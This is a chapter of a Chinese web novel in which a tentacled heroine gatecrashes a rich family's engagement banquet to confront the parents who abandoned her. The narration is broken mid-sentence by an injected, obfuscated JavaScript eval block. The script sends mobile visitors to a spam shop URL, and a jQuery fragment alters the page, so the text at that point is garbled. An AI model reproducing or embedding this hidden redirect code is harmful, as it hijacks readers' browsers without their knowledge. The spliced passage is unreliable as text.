25. 深海巫妖

作品:《我进副本打诡抓男人

    在思考之中,身体比大脑行动得更快,风止不知不觉就顺着旁边的管道往上攀爬,在背光黑暗的大楼背面,她越爬越高。


    各种宾客的画面和声音呈现在风止身边,有的在谈论豪门隐私,有的在谈论时装容貌,有的更离谱,竟然在房间里上演了爱情动作真人秀剧场,把风止辣眼了一下,风止赶紧扭过头,多爬了两步。


    一会儿,风止反反复复在一块墙壁上打转,终于确认了自己想要下手的目标,趁着对方阳台门大开,这倒是省了风止暴力破门的麻烦,风止慢悠悠地溜了进去,趁着对方剪雪茄灌威士忌的功夫,一条凉凉的滑溜溜的触手从他的背后绕了过去,在对方僵硬惊恐的神态下,代替了雪茄的位置,迅速地塞进了他的嘴巴里。


    风止的触手因为感知到温暖的口腔,忍不住在里面舒展了一下,这穿着得体西装的男人迅速红了脸蛋。


    风止说:“别动,不准叫,否则我杀了你,我可是徒步跑了十公里,我这触手的威力堪比子弹,短时间爆发起来可以要了你的命,知道吗?”


    男人羞耻地点了点头。


    风止放开了他,顺便拿过他手中的威士忌一点一点舔了起来。


    男人吧唧了一下嘴,松快点后,说:“你是真的怪物还是角色扮演?我从来没有见过这么真实的触手。”


    “怕了?只要你好好听话,我不会伤害你的。”


    男人的表情十分惊异,说:“啊?真的怪物?牛逼。我是沈家二少爷沈曜金,我活这么大都没听过哪个实验室培养怪物。居然让我碰上了这种国家机密?说起来,你有什么目的?”


    风止选择性地无视他的感言,直接回答最后一个问题,说:“我老可怜了,我是孤儿,我进城来要找我的亲生父母。”


    沈曜金眼睛一亮,激动道:“哦哦哦,我知道了!肯定是小说里写的那种情节,你从小被抓进实验室,好不容易逃出来后,贪恋人间温暖,就要来找你的亲生父母了是不是?放心放心,我老善良了,我一定会让你家人团聚感受亲情的。”


    沈曜金激动地拍了拍风止的触手,风止思考了一下,想想好像也是这么回事,于是勉为其难地也拍了拍沈曜金的手背,两人就这么莫名其妙地达成了默契的协议。


    沈曜金搓了搓手,说:“放心,有我在,肯定给你安排一个盛大的认亲仪式。首先,先给你安排一套裙子,裙摆一定要大要厚,才能遮住你非人的下半身,你要成为舞会上最漂亮的灰姑娘!”


    风止低头看看迤逦一地的触手,很想说她其实可以把触手都收起来,像小美人鱼爱丽儿那样恢复人身,但无所谓了,反正沈曜金会安排大裙子,那她乐得清闲,更何况有触手傍身确实让她感觉更安全了。


    沈曜金在手机上点点戳戳,风止也懒得看他在操作什么,只见一会儿时间,当沈曜金放下手机时,门外也恰好准时地响起敲门声,沈曜金上前去,只打开一条门缝,故意挡住了房间里面的触手怪。


    “小少爷,这是您要求的高定款星空蓝裙,还有配套的水晶鞋和一套紫钻珠宝,已经加急送过来了。”


    “不错不错,你们店里的服务一向很好。”


    沈曜金关上门,然后献宝一样将精美的礼盒递到风止身前,接着懂事地退到卫生间回避换衣场面,直到风止说可以了的时候,沈曜金才走了出来,顿时就睁大了惊艳的眼睛。


    此时只见风止穿着星海套装,华丽的蓝紫色裙海让她像误闯晚宴的灰姑娘,却比灰姑娘更加深邃神秘,昂贵耀眼的钻石像无数明星点缀其上,仿佛是宇宙银河由下而上向黑洞凝聚而来,风止行走间肆意地露出触手,惊悚感迎面而来,她已经不像灰姑娘了,挥舞触手的她更像是深海巫妖,冷眼观察着人间悲剧在她眼前发生,而深海是一如万年的沉寂璀璨。


    风止还在欣赏着手腕上蜿蜒盘旋的钻石珠链,完全无视了在一旁边惊艳不已的沈曜金,此时,男人对深海女神来说只是不值一提的背景摆设。


    “美,太美了。可惜你要在宴会上隐藏触手,如果能加上你的触手……你是上帝在人间最美的造物。”


    风止藏起了触手,在裙摆下小心翼翼地移动,拥挤的脚步尽量看起来像个淑女,在楼梯间,风止一边下楼梯一边问沈曜金:“你们沈家举办的晚宴是干什么用的?慈善晚宴还是生日晚宴?”


    沈曜金摇了摇头,随后紧紧看着风止的脸,一秒也不愿挪开视线,说:“不,今晚是我大哥的订婚晚宴,说是跟苏家有娃娃亲。我觉得那苏钱钱的性格太假太作了,她总能表现得特别浮夸,不像别的千金有淡定风度,总是咋咋呼呼的,幸好沈家有我大哥,遇事他先顶上,大哥负责娶苏钱钱,我有事跑路就行了。”


    “你已经看我很久了,有这么好看?”


    “是,不知道为什么,你之前看起来挺朴素的,顶多就是清秀,但是打扮起来后,简直迷死人,你肯定是舞会上最耀眼的晨星。一想到你裙子底下还藏着触手,我这护妖使者的心脏就砰砰跳。”


    “兄弟,性癖不要邪门。”


    当风止出现在一楼大厅的那一瞬间,起初只是有三五个人偶尔看一眼楼上,想看看楼梯过道出现了什么大人物,当看到风止的时候,人们瞪大了眼睛,渐渐地,凝视风止的人越来越多,人们抬头看着她,忘记了呼吸,就像目睹着神明从天而降,不敢惊扰了她。


    接着,窃窃私语在华丽的大厅中响起,声音越来越大:“那是谁?穿的好厉害,那身定制礼服没上千万搞不到手。怕不是哪个世家的千金?但是从来没有见过这等大人物出席过宴会。能让沈家二少爷扶着走的人物,怕不是京城那边来的名媛贵妇?”


    神秘千金风止目不斜视,无视人群的吵吵嚷嚷,扶着沈曜金的手臂走下楼梯。倒也不是她气定神闲,而是风止完全没有意识到这是什么场合,自她走楼梯开始,她就走神了。沈曜金也不是想扶她,他本来想挽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121121|195129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    住她,好暗示众人他是她的男伴,但是他扭不过巫妖的力气,只好改做扶,此时显得他就好像大家千金身边的奴才,沈曜金有些憋屈,但更多的是高兴。


    风止的关注度瞬间统领全场,宛如君临天下,王者以傲慢的姿态巡视领地。人们或称赞或尊敬,对她投来谄媚的视线,人靠衣装,人们先是惊讶于她昂贵的服饰,后是惊讶于她行走于各大世家的视线中,神色却无半点动摇,那是不屑于给众人眼神的华贵气质。


    只有苏家父母旁边站立的苏钱钱满脸震惊,成了人群中唯一有异样的观众,她颤抖了两下嘴唇,随之指着风止,大声地说:“怎么是你?你穿上了这身衣服,我也认得你这张脸!你不就是白天想闯集团大楼的骗子吗!你竟然骗进了我的订婚晚宴?!”


    此言一出,观众哗然,眼中敬意消失无踪,俱都满怀惊疑地看向风止。


    风止站在半层高的平台上,那里鲜花环绕,由金饰点缀的古典平台华丽无比,像是小小的空中花园,风止成了整个大堂的视觉中心,她扶着大理石护栏,傲慢地将眼光向下投去,看着苏钱钱的眼神像是在看不知死活的蝼蚁,说:“你在胡说什么?我此次出席晚宴,是因为我得知我的父母在这里。我从小就与双亲分散,此番前来是与亲人团聚。”


    举手投足间,手上鸽子蛋大小的紫钻熠熠生辉,让人群不经深思就信了个七八成。人群中细语切切,道:“难道是被人贩子拐了?然后成了京城名媛?这人命可真好,离了家还更加富贵了。要我说,那即将团聚的亲生父母也好运,白得个有钱女儿。”


    苏钱钱慌了。周围不少人将眼光投来她这里,七成是看热闹的玩笑眼神,还有三成是探究,苏家的事情不算难扒,在这东部的圈子里,有不少人都知道苏家的隐私,那就是苏钱钱不是苏父苏母真正的女儿,据说真正的苏家千金早就夭折了。


    更有好事者促狭地问苏钱钱:“苏小姐,我听说你父母是领养的女儿,该不会是你家的真千金吧?”


    苏钱钱脸色涨红,立刻反驳道:“不要胡说八道!那不过是城中的谣言,多的是人嫉妒我能嫁入沈家,捏造出的谣言!”


    苏氏父母更是面面相觑,在对方眼里看到了惊恐,他们对外宣传风止是染病暴毙了,但实际上,他们比任何人都清楚这是怎么回事,他们嫌弃风止是晦气的赔钱货,趁着一个安静寻常的日子,偷偷将风止扔在了一个僻静无人的地方,这一扔就是十几年过去了,那孩子究竟有没有活到成年,苏父苏母都不敢想象,这是绝对的孽缘,没人上前认亲。


    更何况,当年扔掉那孩子,就是因为那孩子是天生扫把星,只会让全家倒霉,怎么可能会在离家后反而得了逆天的气运,成了京城中某个贵人的养女呢?


    然而,风止的目光却越过众人,遥遥望向苏父苏母,露出淡淡的笑容,矜持地说:“我要找的,正是苏家夫妇。当年一别,已是十二年。不知二老过得可好?”